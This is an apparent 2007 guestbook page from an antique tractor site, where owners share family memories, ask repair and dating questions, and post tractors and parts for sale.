Kay Schmitt wrote on Monday, August 27, 2007 (PDT):I have a 1948 E3 Co-op tractor. My husband passed away last Oct and planning to restore this tractor this last winter. It has been shedded for 13 yrs. He had it running 2 years ago. It is in good shape. Does anyone know what it might be worth. Thanks Kay Schmitt
Everett C. Smith wrote on Sunday, August 26, 2007 (PDT):My Father in-law, Herman Lawson Of Portland, Ind. was a Minneapolis Moline dealer for many years. I can remember plowing for him eith a G-1000. Due to my inexperience I scorched the clutch by using too high gear, it just would not pull down. I just ran across a set of toys he had given my daughters for Christmas, a G-1000, 4 btm. plow, disk, gravity wagon and machinery shed. Sure brings back memories. E. C. Smith
phillip baquera wrote on Saturday, August 25, 2007 (PDT):1900 tractors had hydrolic steering if i recall right. have one for sale minus engine. i belive it s a 1963 year modle. been setting for many years.make offer.
Dick Witmer wrote on Saturday, August 25, 2007 (PDT):I started pulling my 55 gas tractor this year. I pull 3500, 4000, and 4500 pounds. I hooked it 5 times and was last only on the first pull. Next year I want to pull both tractors. It will be interesting to see the difference in gas and diesel, and, firestone and good year tires.
Dick Witmer wrote on Saturday, August 25, 2007 (PDT):I have 2 super 55 tractors. One is a 1955 diesel that my Dad bought new. The other is a 1957 gas that I bought more than 10 years ago. I have a lot of memories on the diesel. I am finally getting it back together. Hope to have it running in the next few weeks. Someone should still be building these tractors today.
Barry Steel wrote on Saturday, August 25, 2007 (PDT):I have had a 1953 Fordson major diesel and have used it to cut 5 acres of grass with gang mowers every week for the last 11 years and are just now having the injectors refurbished. This is the first time I have had to spend on it. It starts first time every time and is a brilliant tractor.
kathy wrote on Friday, August 24, 2007 (PDT):We ve acquired an old case LA I Propane tractor. Trying to find information on it. If anyone has any knowledge of this, please contact us. Thanks.
S.J. Kinser wrote on Friday, August 24, 2007 (PDT):i have a 1952 john deere R new paint, new seat, new tires around ,cabbed with new glass runs great priced at 7,000 and have two 20.8 x 34 inch firestone 23 degree 1/3 tread left great for pulling tractors 300 hundred each my number is 276-988-3827
jerome namaste wrote on Wednesday, August 22, 2007 (PDT):I purchesed IHC 300U about a year ago and did not haave any serious problems until recently. It had been converted from 6 to 12 volt system and it is now gone thru its second starter in a week. replaced the selenoid and all the wiring and cables. I Think it is a 55. I paid 5000 for the tractor and 8 implements and it has down pressure on both the busket and the three point.Any help would be greatly appreciated. Jerry in Bennett Wi
jacob sanor wrote on Tuesday, August 21, 2007 (PDT):just bought a leader intrested in what it is worth and ight want to sell have not looked yet but belive it is a b and it is complete
Jack wrote on Monday, August 20, 2007 (PDT):We have a ZB that was new in 1955. The wheels were yellow when it was new. Does anybody else have one that had new yellow wheels We use Minny everyday. Love her.
bill Hale wrote on Monday, August 20, 2007 (PDT):Where is this tractor located Please advise me. Thanks
STEVE wrote on Sunday, August 19, 2007 (PDT):HOW DO YOU KNOW IF ALLIS CHALMERS WD45 1950 S HAS A 6 VOLT POSITIVE GROUND
Lance P wrote on Saturday, August 18, 2007 (PDT):If anyone has any parts or or information on a tractor like this, please email it to me. I am interested in fixing mine up.Thanks
Joe Vowles wrote on Friday, August 17, 2007 (PDT):My father bought a Massey Harris 22 the year I was born 1949 and I still have it today. it has the no 6 mower and the plow. the tractor has had very little use and still has the original tires. any idea of a value. Victora BC. Canada. One thing that never worked well was the left and right wheel brakes. Joe V.
Jim wrote on Thursday, August 16, 2007 (PDT):Steve, I have a freind looking for two fenders for a 70 rc. Can you send me your contact info so I can pass it along to him if you still have them for sale Thanks. Jim
Kyle wrote on Thursday, August 16, 2007 (PDT):there was no paint code for regulars. The paint was navy surplus from WW1. There were hundreds of suppliers, and no specs for paint on those ships other than grey . So the regulars were everything from almost white to black with all hues, tints, and shades in between. I have personnally seen the blue regular, and it has been explained as weathering of the grey paint supplied by the DuPont people circa 1914-1917. My Regular was purchased new in 1929,by my grandfather. It still runs like a top, and is all ORIGINAL! Some great sources of info on these old ones is the nebraska tractor tests. I found out alot from visiting old folks homes,retirement centers, and quiering the retired farmers. Theres lots of books on them too!
Teri Jensen wrote on Thursday, August 16, 2007 (PDT):My Dad and brother was in the process of restoring a 66 Row Crop when my brother was killed in a farming accident in 1985. My dad finished the mechanical part of the restoration shortly afterwards. Now, 20 years later, the tractor still runs great. My mom keeps it in a shed and my husband and I use it to mow, rake and bale hay all summer long. In the fall, our neighbor has a plowing party that consists only of old tractors, and we use this one then also. It is a wonderful machine. If you are looking for a smaller tractor like this one, check e-bay. They are on there all the time.
c.j wrote on Wednesday, August 15, 2007 (PDT):I have a 2010 Diesel, currently repairing the PTO assembly, I am looking for information on how to properly set the controls for the 3 pint hitch. Does anyone know where to find detailed pictures on these parts
Wayne Niccum wrote on Tuesday, August 14, 2007 (PDT):Hello, does the lady named vickie still have all those V8 flatheads where are you located thank you for your time. also looking for a ford two roll planter. thanks, wayne niccum in Indiana
Tim Hadachek wrote on Tuesday, August 14, 2007 (PDT):I m looking to sell a completely restored 720 LP. The tractor is in great condition and I m asking 6000 for it. Please email me if you are interested and would like more details.
John Tinker wrote on Tuesday, August 14, 2007 (PDT):i have 1965 economy tractor 2 trannys k 301 koler loking for dealer to buy parts from and how to get starter belt replace with out braking tractor mid mounted pto and starter belt go around crank ext like to here from any one about project john
Ryan Macko wrote on Monday, August 13, 2007 (PDT):My grandpa owns a 500, i resently got it running in auto shop at school, we take it to the western ontario steam threshers, and pull it in the antiques, it os a greet tractor.
Walt Davies wrote on Friday, August 10, 2007 (PDT):The 1912 Samson tractor is owned by a 90 years old man who comes to every Steamup at Brooks, OR to run his tractor in the parade. His father bought it new and he used it until 1941 when he parked it on the side of the field later around 1986 he dug it out cleaned it up and it fired right up and is still running today. if you are ever at the steamup be sure to stop by and chat with him about his tractor.
Jerry wrote on Friday, August 10, 2007 (PDT):I just purchased a 44 Special with a Massey Harris front loader. It runs great. We farmed with two 44 s back in the 50 s. One was gas and the other diesel. I have wanted a 44 for years and came across this close to home.
Irene Macadie wrote on Friday, August 10, 2007 (PDT):My husband has just purchased a Pony which is French Built it has no registration needing an age related number can anyone help with where we would get chassis number etc. Thanks
Nick Edward wrote on Thursday, August 09, 2007 (PDT):My name is Nick Edward I am 13 and just bough my second antique tractor, an Oliver 60. I was wondering if the oliver sixty could be started by crank and if it could does the staff were the crank would rest on or fit into extends out of the tractor. I do not no to much about the tractor so I would appreciate any information about the tractor itself.
cmccoy wrote on Monday, August 06, 2007 (PDT):I have a 1963 Oliver 770 RC that I just now am restoring. I am very close to completing the total engine rebuild. This will be a nice tractor. Glad to here everyones great opinions on this model. I bought most everything from Korves Oliver company. Chris
Dan Cleaves wrote on Saturday, August 04, 2007 (PDT):I recently found an old farmall along the Ohio River. It is blue faded gray and is either and F-20 or F-30. It is on private property, has snake skins in the radiator cap opening and so grown over I can barely get a tape measure back into it but the valve cover measures 20 long. Is the valve cover longer on the F-30 If it s a 30 I ll probably make a run at the owner about selling it.
Tom H wrote on Thursday, August 02, 2007 (PDT):I have a 1949 Case LA that I want to sell. It runs, but does need some work. The carburation needs some TLC and the radiator has a leak. I originally bought it in the hopes of doing some farming, however, I do not have enough water rights to irrigate the acreage that I have. Overall, the tractor is in good condition, pto works, has 3 implements to go with it as well. TCHIII at dishmail.net
Andy Dutkiewicz wrote on Thursday, August 02, 2007 (PDT):My dad owns a 1951 B and I grew up on this tractor, plowing snow and working the garden but I have always wanted a John Deere G . I have always loved the sound of the two cylinder engine and agree there is no other soundlike it in the world. One guy said JD owns are kinda like Harley owners and I could not agree more! One day hope to restore a Unstyled G . Keep the messages coming!
Ronnie Martinek wrote on Monday, July 30, 2007 (PDT):i use to own 2 farmall B s and they are good tractors they can burn all day on 5 gallon of gas the most important thing u need to know about theese tractors is dont leave them out in the weather too long or else u may find water mix into the oil in ure transmission somehow rain gets into there keep them iside a shed if not in use for a while.
Jim Iverson wrote on Sunday, July 29, 2007 (PDT): How do I remove the sector gear on a 1952 B John Deere tractor The I T shop manual suggests using a wheel knocker to do this if what is a wheel knocker
deane ferrish wrote on Saturday, July 28, 2007 (PDT):i would like some info on a 140 tractor ser35210 J it has hyd and no pto the front axel width is not adj it is 6 volt like to know the year and what the J in the ser means front wheels are larger than other 140s i have seen any info would be great thanks Deane
tim brown wrote on Thursday, July 26, 2007 (PDT):I have a WD-45 with a sngle fornt wheel are these common or not, I havnt found another like it.
bob b wrote on Tuesday, July 24, 2007 (PDT):Just purchased a 56 or 57 not worried about the year 300 U and need a grille and the top clam shell of the hood that attaches to it and holds the ends of the side hood. As long as they aren t rusted out, I can use them. Think I have the same problem with the valve as another commenter, in that one valve has stuck due to the water flowing down the exhaust pipe! Will try to fix that valve and get her running. Have a front loader many welds on it, but functional for the 300 I would part with I have a Kubota for that work for a mere 500. It will need a ram for the bucket, and is a power up, gravity down system, but she works! Thanks and love these old tractors!!
Jack wrote on Tuesday, July 24, 2007 (PDT):I have a tractor needs sanded and painted and other work, but I don t know the year so we can sell it Can someone help me model number 4508731sc
Joe Wilbur wrote on Monday, July 23, 2007 (PDT):I have a Leader Tractor for sale, it has been sitting for many years. Doesn t run yet, haven t done anything to it yet though. It seems to be complete. All tires hold air. It looks like the one in the picture. Email me for pics and make offers. I live in NH, if you want it shipped you handle that. Thanks, Joe genexreptiles at comcast.net
alex joshu wrote on Monday, July 23, 2007 (PDT):hi iam 16 and just got a 1952 vac case and i am really big in to tractor pulling and i was wondering if there any other kind of case engine that will bolt up to it so i could get more cubic inches if u no any kind plz email me at joshfam5 at htc.net thanks
Joe wrote on Monday, July 23, 2007 (PDT):I recently started to restore a W-4. I do not know the exact year does any one know how to tell the year I am also looking for pictures of the W-4 and the implements that were used on the tractor in the North East.
Tom wrote on Saturday, July 21, 2007 (PDT):Does anyone have a source for sheet metal Also need an engine block for a 55 gas.
Cameron Anderson wrote on Saturday, July 21, 2007 (PDT):I own a series 1 Field Marshall contractor s model, Its been in the Turriff Aberdeenshire area all its working life, with the build number 2651, has anybody got any information about this machine
Robert Sisk,Ala wrote on Friday, July 20, 2007 (PDT):Wrote on Friday,July 20,2007 I collect Antique Tractors have ,730,620,60,50,4020,4020propane,4240 .Ilove my John Deeres.
Isaac Reichert wrote on Friday, July 20, 2007 (PDT):I have a 1957 Cockshutt Blackhawk 35 wide front end. I was wondering how rare this tractor is and what is the paint codes for it.
Duncan Manor wrote on Thursday, July 19, 2007 (PDT):Have 1947 Silver King Model 42 and looking for gasket kit, front/rear seals, steering wheel, and fenders. Any information would be helpful.
ken butterworth wrote on Thursday, July 19, 2007 (PDT):I am looking for a 1954 cockshutt 20 with a wide front end. i sold it feb. 1961 at my granfather s farm sale to go to college. I am now retired from teaching school and want the tractor back to use on my dad s farm. The sale was near Waynesville, ohio 45068. Located between dayton and Cincinnati Ohio My name is ken butterworth 2821 wilmington road lebanon,ohio 45036 phone 513-932-1837 Any help would be appreciated! I know it is long shot.
ken butterworth wrote on Thursday, July 19, 2007 (PDT):I am looking for a 1954 cockshutt 20 with a wide front end. i sold it feb. 1961 at my granfather s farm sale to go to college. I am now retired from teaching school and want the tractor back to use on my dad s farm. The sale was near Waynesville, ohio 45068. Located between dayton and
Willie J wrote on Thursday, July 19, 2007 (PDT):My great uncle has a Case 300 Utility with an add on New Idea loader and powerstearing. The tractor is in great shape but the front end has a lot of play in it. When you back up the tires bow and sometimes flop over making the tractor nearly impossible to turn unless you go forward. I was wondering how to fix this problem. Any help would be a great help.
rusty bucket wrote on Wednesday, July 18, 2007 (PDT):I need some help!!!! I Recently just restored a 1939 F-14. I wanted a overdrive for it so I purchased a 1938 F-14 that had a overdrive on it. I was going to Install the overdrive on the tractor I have restored. For some reason they would not interchange because the teeth on the gears would not match up to the gear on the inside of the transmission. So I swaped transmissions on the two tractors. Now I have a tractor that wants to run 40 MPH in high 3rd. Even in low first it is to high geared you cannot even start to pull anything. Now, I want to go back to the orginal gears, but I do not want to swap back the transmissions. The overdrive gear has the 20/16 teeth gears and the transmission drive has 18/14 teeth gears. As far as I can tell the transmissions are the same, unless some of the gears inside are different. I am confused because my parts catalog says the drive bevel pinion is a 14 teeth and the power take off pinion is 18 teeth. I want to buy a transmission drive that will fit it but, I m not shure what I need.
hfsahfjashjf wrote on Monday, July 16, 2007 (PDT):Dick Hargett you should try maple hunter decals.
James Miller wrote on Sunday, July 15, 2007 (PDT): Need help finding serial nm on body. Looking threw several websites I have some idea that it is a 1957 Ford 800.It is a Diesel.Side of Engine letters say c30k5. This has been a one owner, bought new, was given to me by a 94 year old man that want us to put it back together.Also have a CONN-6015C on side of engine as well. Hope someone can help.
Steve wrote on Thursday, July 12, 2007 (PDT):I have 2 Oliver row crop 70. 1 is a parts tractor the other I am trying to restore. The block is cracked and I am having a hard time finding a motor or motor parts. Im stuck. If you have any suggestions or ideas please email me. Any info would be greatly appreciated. I also have extra parts for sale if anyone is intersted. I have spoke rims, fenders, rolling chassie, rough sheet metal. Thanks
Ned Montano wrote on Wednesday, July 11, 2007 (PDT):I recently rebuilt a model l , inherited from my deceased father in law from Milwakee wi. the model Lwas brought from the Milwakee area somewhere in the 50s or maybe early sixties to Albuquerque New Mexico where it sat for about 35 years after my father in laws passing.The serial no.is intact and so are some of the implements with which I need help to understand as how they attatched This is my first experience with tractors . Since this restoration , I have perchused another Model L 1938 with top side transmission shift , serial no. in excellent condtion ,and all parts someone took it apart to start rebuilding and evidently gave up ., along with a 1944 Model H in fair running condtion. can some one out there tell me if I am starting to bleed green or help me to acquire some more of these green hunks of to replenish my loss of green
chris choat wrote on Sunday, July 08, 2007 (PDT):ware can i find non ep gear oil for my field marshal tractor gear box gear box oil with ep stops the brakes from working chris choat.
Peter wrote on Sunday, July 08, 2007 (PDT):I just bought a 1947 J D model H and it doesn t have a PTO located on the back of the tractor. I am curious if the H does come with a rear PTO and if so, can I retro fit one on I am also curious if a snow plow can be fitted to the H Thanks Pete cell 508-826-2526
Miike Donnelly wrote on Sunday, July 08, 2007 (PDT):I m looking for a belly mower for a B Model tractor, or rear mount PTO linkage for brush hog. Massachusetts
Paul wrote on Saturday, July 07, 2007 (PDT):I ve had a Utility 300 for about a year and it works great. The fan belt went last week and when i pulled the radiator out to replace it, it appears the lower pulley is rubbing/grinding on part of the steering mechanism. I can t tell if something is bent or worn so i can t figure out how to fix it. Anybody have a suggestion thanks much!
Terry Rust wrote on Saturday, July 07, 2007 (PDT):I am interested in purchasing a Field Marshall Series 3 or 3A in good running order. I love in Michigan, USA.
Frank Naeger wrote on Friday, July 06, 2007 (PDT):Looking for seat, spring, shock, mounting brakets, any and all parts to put back together right. Thanks Frank
Linden Utsey wrote on Friday, July 06, 2007 (PDT):I am still looking for some pictures of the F-20.I have a new decal set for my tractor but don t know where some of them go.Any help would be appreciated. linden.utsey at sbcglobal.net
Darryl Miller wrote on Friday, July 06, 2007 (PDT):My deceased father had a 1949 Leader Model D rebuilt and drove it and showed it for a few years. It has not been driven or started for several years. The tractor is ready for a new home. Any ideas Thanks for your help.
JD Hodgen wrote on Thursday, July 05, 2007 (PDT):I have a MH Pony Serial # PGA21053. Can somebody tell me what year this tractor is. Thank You.
Sally Jardine wrote on Wednesday, July 04, 2007 (PDT):I have a 1950 or 51 Case SC tractor for sale. My husband restored it and it looks lovely. He has passed now and I would like to sell it for his kids. Any ideas where to advertise Thanks
daniel wrote on Monday, July 02, 2007 (PDT):I have the 681 I Think select-o-speed one reverse ten foward 1 thru 4 works 5 thru 9 dont and 10 works can this be fixed. I called ford an they told me to trash it, but I cant it was my wifes uncle s tractor but the gear thing happen today when I hit a stump with box blade rake. hope you can help me find the part to fix this probllem thhanks.
Marc Lopez wrote on Monday, July 02, 2007 (PDT):For what ever reason my e-mail won t attach to my name
Marc Lopez wrote on Monday, July 02, 2007 (PDT):If anyone has one or knows of one for sale in the great lakes area please let me know. I live in Michigan and would love to get one to restore and use on my property. I will be more than happy to pay a finders fee if the lead turns into a sale. My interest is in older JD orchard tractors. Thanks in advance.
Rick Bossi wrote on Sunday, July 01, 2007 (PDT):I own an Allis Chalmers model M. not sure of the year.runs great,does need a intake/exhaust system. also an air cleaner assembly.got it running this year.possiblly want to sell.bought a kobota tractor.Or if someone has the parts i need maybe intrested in them.
Todd wrote on Sunday, July 01, 2007 (PDT):Does anyone know what is the horse power differance between a D14 and a D15 Tractor. Also looking for a D14 or D15 in the Minnesota or Wisconson area. Thanks.
houston wilson wrote on Sunday, July 01, 2007 (PDT):i have a 560 diesel for sale wide front end 1500
houston wilson wrote on Sunday, July 01, 2007 (PDT):i have a farmall c for sale needs restoration 1500.00
J. R. Patton wrote on Saturday, June 30, 2007 (PDT):I have an 841 LP propane tractor that has developed some bearing problems. I need information on where to obtain some parts for the engine, inserts, pistons, rings, rods, etc . I am located in the Texas Panhandle so of they are close it would help. Thanks.
Ralph Beals wrote on Friday, June 29, 2007 (PDT):As a teen in the late 50 s our neighbor had a SD3 that I did some farming with. This tractor is now located at Ft. Recovery, OH and I see it occasionally at the Tri State Engine and Tractor show in Portland, IN. It brings back a lot of good memories to see the same tractor I used 50+ years ago.
Scott Glover wrote on Thursday, June 28, 2007 (PDT):Would be interested in buying implements that attach to and are used on an AC G. I have seen about everything hooked up to one of these little fellows and would like to have some to attach to mine if anyone has any for sale. Would be particularly interested in a corn planter with fertilizer attachment. Please provide price and pictures if you have them. Scott from Owensville, IN.
Scott Glover wrote on Thursday, June 28, 2007 (PDT):I have two AC G tractors with cultivators. Both tractors have always been owned by my family. I would like to sell one of the tractors. I used both of them to farm melons in Southern Indiana. Both run and are in field condition. I overhauled engine on one including new pistons, rings, rod and main bearings when I acquired it from my uncle. Rear tires on both tractors are in near new condition. Will entertain reasonable offer for either tractor. Scott from Owensville IN.
Jack Sweeney wrote on Thursday, June 28, 2007 (PDT):I have a Farmall F-14 narrow front with rubber,steel on back.Don t know what year,good paint and decals, runs great. Also I have a F-12 narrow front with steel and steel on back,good paint and decals,also runs great. Had them in a parade and someone thought one was a 1938 I don t know. I bought them from a guy for my grandsons but they are not interested in them so I thought I would sell them and buy them something else
Tom Hogue wrote on Tuesday, June 26, 2007 (PDT): I need a rear sprocket for a 1958 oc 4-3d
william maljaars wrote on Tuesday, June 26, 2007 (PDT):hello im looking for a wd45 diesel if you have won plaese contact me
Peter wrote on Tuesday, June 26, 2007 (PDT):I m Looking for a JD model LA in good condition. My family use to have one on their farm in Quechee, VT. Cee, 508-826-2526
Eddie Rowland wrote on Monday, June 25, 2007 (PDT):I have a collection of Hart-Parrs and Olivers that I am going to sell,but do not know how to price them.I should could some help. The list of tractors is as follows,Hart-Parr 1828,2844,70,the Olivers 60,70s,80s,90.I also have afew other tractors from MM,Farnall,Mc.Deering.Thanks for any help.
Mike Guichon wrote on Sunday, June 24, 2007 (PDT):I have a 1928 Model E or, 20-35. The tractor is in real good shpe and we are going to paint it. I need to know the correct Allis green for it and a source for decals. If anyone can give authentic information I would be grateful. Mike.
Ray B wrote on Sunday, June 24, 2007 (PDT):WILL SOMEONE PLEASE TELL ME HOW TO REMOVE THE HOOD ON A 1951 OR 1952 FORD TRACTOR...
Sherry Galloway wrote on Sunday, June 24, 2007 (PDT):My tinkerman husband came home yesterday with an old Massey Ferguson 35 tractor. We need to know how old it is. He bought it from a man that said he bought it used 34 years ago For novice tractor tinkertypes, any ideas By looking at old pics, I think it s from the 1950 s.
ZEEMAN BOTHA wrote on Saturday, June 23, 2007 (PDT):I am Zeeman Botha from Brandfort in the Freestate South Africa I am restoring a Romley w 20/30. Can sumbody help , i am having problems starting the tractor. Where can i obtain a workshop manual
Larry wrote on Friday, June 22, 2007 (PDT):Does anyone know if a Farmall B about a 46 model , came with a square seat and backrest
Victor R. Harris wrote on Friday, June 22, 2007 (PDT):I posted a note on Jan 7, 2005 when my dad and I were still rebuilding our 1937 Z. We got it done and running by fall of 2005. Runs great. I lost my dad 80 Years old on July 31 2006. A week before he died we were still working on the tractor making final adjustments. Dad was in a wheel chair and loved that old 1937 MM Z. So do I.
Philip Rock wrote on Wednesday, June 20, 2007 (PDT):I have a picture of a McCormick Deering steel track tractor, picture from the late 1930 s ro early 40 s. It is pulling a McCormick Deering Combine. This tractor has the name written on the hood on the front of the tractor just above the radiator . Can t tell what model, must have 24 to 30 inch tracks. Was International and McCormick the same at that time or was McCormick seperate from International.
jr ellis wrote on Tuesday, June 19, 2007 (PDT):I have a farmall 350 gas. The engine is locked up. I need to find out where to get the year and serial numbers off this machine so I can rebuild it. Any other infomation you have would be helpful to.Thanks
jdboy94 wrote on Sunday, June 17, 2007 (PDT):I am restoring a JD unstyled B and the serial number is 65140. I know its either a 1937 or a 1938 model. If anyone knows for certain witch year it is, please contact me. thanks!
Tom Groff wrote on Sunday, June 17, 2007 (PDT):Does any know if thay stell make new engines for the 8n ford tractor
Dick Brown wrote on Saturday, June 16, 2007 (PDT):how do you determine the year of an IH Farmall M tractor have one with one front wheel serial #FBK 275021X1
William Worden wrote on Friday, June 15, 2007 (PDT):I NEED A SERIES 4OO OR 460 FRONT END LOADER FOR A 160 OR WOULD BUY A 160 PART TRACTOR WITH THE 400 SERIES LOADER ON IT THANKS
Bruce Voigts wrote on Friday, June 15, 2007 (PDT):I have a l951 Massey Harris D. I took it to the tractor pull a few years ago--it did fine. I also had it on the dynamoe and I think it was 53 horsepower. I really enjoy it as my mom and dad purchased it the same year I was born.
keith wrote on Wednesday, June 13, 2007 (PDT):how much would you expect to pay for a massey harris pony tractor today
Jim R. wrote on Wednesday, June 13, 2007 (PDT): I have a 1947 Ford Tractor 2n fair condition and I would like to know how much it is worth. Thank you.
Keith Frost wrote on Tuesday, June 12, 2007 (PDT): I have a C model farmall,completly rebuilt and painted with new decals. Will sell got to many tractors. 2500.00 479-885-3469 Arkansas
Paul Kiss wrote on Tuesday, June 12, 2007 (PDT):I ve got a IH T20 cletrac. I am interested in selling it. If anyone has an idea of people interested please let me know. I have pictures to send.
cihangir yavuz wrote on Monday, June 11, 2007 (PDT):MY NAME ÝS CÝHANGÝR .I am 24 years old and I live in Eskisehir from Turkey.Ihave got 44 MASSEY HARRÝS 1948.It is very strong tractor as same as anather classes.ALways I drive it. I love that tractor.
Ron Johannsen wrote on Sunday, June 10, 2007 (PDT):Twin-City Tractors; What was the color of the tractor off the line. I understand they were Grey, but I see a lot of them in shows with red wheels and lettering What was the true issue color of an old Twin-City tractor Ron.
david wrote on Friday, June 08, 2007 (PDT):ive got ignition wire issues on my ford 800 tractor. Any help would be much appreciated
Ken Johnson wrote on Tuesday, June 05, 2007 (PDT):I just recently bought a 1952 Super C with a wide front end on it for 800. Tractor was not running at the time of purchase but my dad and I got it running the same day we brought it home. We are currently enjoying a great father and son restoration project. I am sparing no expense on this restoration as I don t plan on getting rid of my tractor or my memories of this project. I am also currently enjoying the use of my other Farmall tractor, it is a 1950 H. That one was already redone by the previous owner.
Alan Swartz wrote on Tuesday, June 05, 2007 (PDT):I have access to two of these T tractors. Is anyone interested in buying them They are in poor condition. But about 90% complete.
alene wrote on Tuesday, June 05, 2007 (PDT):I m trying to get an approximate value on an 1952 Ford 8N Tractor, excellent condition, electric start
judy wrote on Monday, June 04, 2007 (PDT):im looking for a front end tricycle parts
judy wrote on Monday, June 04, 2007 (PDT):im looking for a front end tricycle parts
Gid Ware wrote on Monday, June 04, 2007 (PDT):I have restored a Farmall C tractor and am having trouble finding the rubber bushings that go in the seat bracket. Does anyone have a clue where I can find them Thanks.
sylvain wrote on Monday, June 04, 2007 (PDT):i have a 2010 tractor diesel and y find a fuel injection pump because my pump is broken if anybody could help that would be great thanks. best regards sylvain.
Zachary Oursler wrote on Sunday, June 03, 2007 (PDT):It is my 3 favorite.
Zachary Oursler wrote on Sunday, June 03, 2007 (PDT):It is my sconde favorite modle.
Karen wrote on Saturday, June 02, 2007 (PDT):I live in Kentucky. I have a JD L that was passed down to me by my uncle. I absolutley loved this tractor when I was growing up. But I have no use for it and would like to sell it. I can email pictures if anyone is interested.
Melanie Anderson wrote on Thursday, May 31, 2007 (PDT):I have a 1948 Farmall Cub tractor with belly mower and some plow attatchments for sale in the Middle TN area. Starts with ease and runs good. This was my grandfather s tractor and we are moving to an area where it cannot follow. Email me for pictures and offers.
John Bushouse wrote on Thursday, May 31, 2007 (PDT):I bought my neglected 1959 550 diesel in 1979. We repaired everything and have been using it for all our hobby farm utilities. Over the years we have bought a full complement of tools including rototiller, bushog and a 15KW PTO driven generator in 1982 after a 7-day power outage. That is where this tractor really shines. We can run everything we need to and this tractor sips diesel as low as 3/4 gallon per hour. In 1998 we rebuilt the PTO clutch. That is the last time we spent any significant dollars on it. We take care of it and it takes care of us. Its a family friend.
Mike Whitacre wrote on Wednesday, May 30, 2007 (PDT):I am looking for a better grill than I have on a 1949 Farmall C. Got any ideas where to look.
Wayne wrote on Tuesday, May 29, 2007 (PDT):I am interested in a MF-97 4x4 and am located in western NY State, have never heard of or seen one for sale in NY or on the east coast--does anyone know of any in this area Thanks! Would like to use it for working on my farm
bob carrick wrote on Saturday, May 26, 2007 (PDT):i have recently purchased a mm tractor dont kno much bout them the model says jus u but the serial numbers are0120 2611 it has a hand clutch i am wandering jus how old this thing is and sum info i guess at all plz sum one help lol
Robert Brunetti wrote on Saturday, May 26, 2007 (PDT):I have a Massey Harris tractor from the fifties an it still runs I would like too trade it for a tractor that has a front bucket can anyone help me
BOB wrote on Saturday, May 26, 2007 (PDT):HI SEEN A AC160 AT A AUCTION TODAY. LOOKS LIKE A NEAT TRACTOR. ANYONE OUT THERE KNOW WHAT A AVERAGE TRACTOR IS WORTH THANKS
Chuck wrote on Friday, May 25, 2007 (PDT):I have been corrected to know that my tractor is a 1941 Farmall B. It is for sale in N.E. Ohio. Email for details.
Mary Reynolds wrote on Thursday, May 24, 2007 (PDT):I am looking for a power steering cap for an Oliver 550. Anyone have an extra one Also drawbar pins for the same tractor. Please contact me if you have either and are willing to sell them. Thanks
Lane Saarloos wrote on Wednesday, May 23, 2007 (PDT): I have a 8n with a Wagner trip lever style front loader. I have heard it referred to as a parachute style because you almost have to jump on to the tractor seat while holding each fender.I need to replace the 2pivot pins where the loader rotates on the frame of the loader. Can any one point me in right direction to replace these parts
Charlie Parmelee wrote on Tuesday, May 22, 2007 (PDT):hello, I am in desperate need of pistons or a whole motor, a 273 Buda diesel, from a cockshutt 50. ANY help would be greatly appreciated
Jack Rhodes wrote on Tuesday, May 22, 2007 (PDT):I have a 20-35 Lauson tractor with a Leroy engine. It is almost identical to the Beaver engine. I believe Leroy bought the Beaver engine works, they were both in Milwaukee.
Ryan wrote on Monday, May 21, 2007 (PDT):My Grandpa bought a Massey-Harris 44 gas brand new in 1950. Since then its been overhauled twice, but to this day it runs and works like a charm. I love that tractor and there s no way I d get rid of that tractor for my life. It was used for a year to thresh in 1950. I still can t figure out the make of the thresher. I plan to restore the 44 Massey someday hopefully.
Kobud Kuyler wrote on Sunday, May 20, 2007 (PDT):I m restoring a WD45 and would like to know where I could get a complete starter. Any-one with info
Alan Amerian wrote on Saturday, May 19, 2007 (PDT):Could you tell me how much you are asking for your Oliver HG What year is it and is it in running condition Which state are you in
Bernie Knox Knox s Metal Medic wrote on Friday, May 18, 2007 (PDT): I have a metal restoration shop in Pennsylvania specializing in major metal restoration of antique car and tractor sheet metal. I just finished the restoration of all of the sheet metal on a 60 Orchard for a local collector. I am usually able to restore your panels or fabricate new ones. If you can use my service, I can be contacted through email bj1k at nauticom.net or Phone 724 352-5110
George D Brown wrote on Friday, May 18, 2007 (PDT):I have recently purchased what i believe to be a Massey Harris Pony tractor .The number on the engine plate is N6242932.Below the engine plate is another number 850-095 M1 Can anyone tell me what year the tractor is and is this a Massey Harris Pony 20 tractor Made in Canada I would appreciate any information on this tractor.
ruyle wrote on Friday, May 18, 2007 (PDT):i have a 1976 black striped 1066 and its awesome. it overcomes all farm work we put it up to. also have a 966, 856 IH. IH power!!
Jason Luke wrote on Wednesday, May 16, 2007 (PDT):I own a 1956 JD 420-T. Would like to know horsepower for this 2 cy. engine. Also am looking for a hydroulic pump for same model.
Lavoy wrote on Wednesday, May 16, 2007 (PDT):Kati, I would be interested in your crawler, please contact me. Thanks
Lannie Phillips wrote on Sunday, May 13, 2007 (PDT):Hi; Does anybody have info on Cockshutt Industrial Tractors
Glen P. Walter wrote on Saturday, May 12, 2007 (PDT): My neighbor has an oliver 99 sitting there for parts. He like 500 for it. It sure is monster of a tractor. It would be nice to see it get a nice home. It had been sitting for some 20 years now. I don t know what it is but I like the Oliver tractors looks more then John Deere.
Don wrote on Saturday, May 12, 2007 (PDT):I recently inherited a fully restored 1946 I-9. I m told it s fairly rare. Looks showroom ready. Would appreciate any feedback. Thanks!!
JEFF BROWN wrote on Thursday, May 10, 2007 (PDT):I have an f-14 with a single bottom moldboard plow that drops by chain drive off the axel.These plows also came with a half drawbar that could be used while the plow was still attached to the tractor.I need this drawbar and brackets.My tractor is very near complete and this part would get me closer.I also need extension rear steel wheels.I only need one extension rim,but won t ask anyone to break up a set.I could use steel cutoff rims instead if anyone has them.I ve had my f-14 for four years now and i m still getting parts together for it.It s been a slow process but i m learning alot and having fun.I grew up on a farm in Ohio tobacco country and I love the old farmalls.I got the fever watching my dad pull his hotrod 656 in the 60 s 70 s.Thanks and hope to hear from someone about the parts.
Brad wrote on Wednesday, May 09, 2007 (PDT):We will be selling by public auction in Edmonton, Alberta, Canada a AC Tractor # wf 5792. Any comments or specific year known
Jack Franz wrote on Monday, May 07, 2007 (PDT):I have a 1950 TO30 ferguson that still runs great except for a slight hydraulic problem. The lift to the up position responds well but it does not hold at lower positions for plowing, grading, etc.. Any suggestions
Randy Matthies wrote on Monday, May 07, 2007 (PDT):For Sale - Best offer My mother is selling 2 each 1958 420c crawler . My Father was rebuilding but just resently passed away. 204 727-0947
